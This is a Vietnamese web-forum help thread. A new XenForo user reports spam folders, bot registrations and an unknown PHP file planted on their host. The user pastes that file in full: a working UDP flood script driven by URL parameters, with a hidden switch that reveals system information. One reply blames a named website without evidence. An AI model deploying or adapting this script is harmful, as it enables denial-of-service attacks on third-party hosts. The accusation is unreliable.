[HELP]Diễn đàn có nhiều IP nước ngoài đăng kí và host xuất hiện file và foder lạ

[trần đăng khuê]

Tình hình là e mới nghiên cứu XF chưa được lâu, mới up thử lên sub-domain để test. Hôm qua đang chỉnh sửa giao diện bỗng thấy host xuất hiện 1 folder lạ và 1 file php lạ. Folder chứa nhiều file html. Là các web nước ngoài (quảng cáo, shop, v..v.v) Còn trên forum thì nhiều IP lạ từ China , hà lan, châu phi ... đăng kí.
E đã xóa hết nhưng nay nó lại xuất hiện. ai có kinh nghiệm chỉ giáo giúp e với Host hay web của e bị hack hay ntn ạ

 

[trần đăng khuê]

Đây là file lạ xuất hiện trong host ctioVp.php có nội dung

<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = $_GET['len'];
ignore_user_abort(True);

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0)
{
    if (StrLen($_GET['rat'])<>0)
    {
        echo php_uname();
        exit;
    }
    exit;
}

for($i=0; $i < $Sendlen; $i++)
{
    $out .= "A";
}

$max_time = time() + $exec_time;
while(1)
{
    if(time() > $max_time)
    {
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
    if($fp)
    {
        fwrite($fp, $out);
        fclose($fp);
    }
}
?>

sao nó lại vào đc host của e các bác

 

[CNTT01]

nhiễm trojan or Có người đã tải tập tin xác minh lên host bạn rồi ...

 

[trần đăng khuê]

nhiễm trojan or Có người đã tải tập tin xác minh lên host bạn rồi ...

Có người tức là host bị hack hả bạn@@. Khắc phục ntn bây giờ? Tình trạng forum bị nhiều ip reg có phải là bot spam ko nhỉ

 

[CNTT01]

bạn xoá những cái folder và file không liên quan đi coi,mak bạn có upload mak,sao bạn không upload bản khác lên .

 

[trần đăng khuê]

ok b nhưng xóa nó vẫn bị spam nv bạn ạ. cứ 1 ngày lại tầm chục ip đăng kí mới

 

[CNTT01]

http://wada.vn/ --> là hắn ,đó là con bọ của họ thả ra nhưng với cường độ cao gần = dos

 

[trần đăng khuê]

giải pháp nào bây giờ hả bạn@@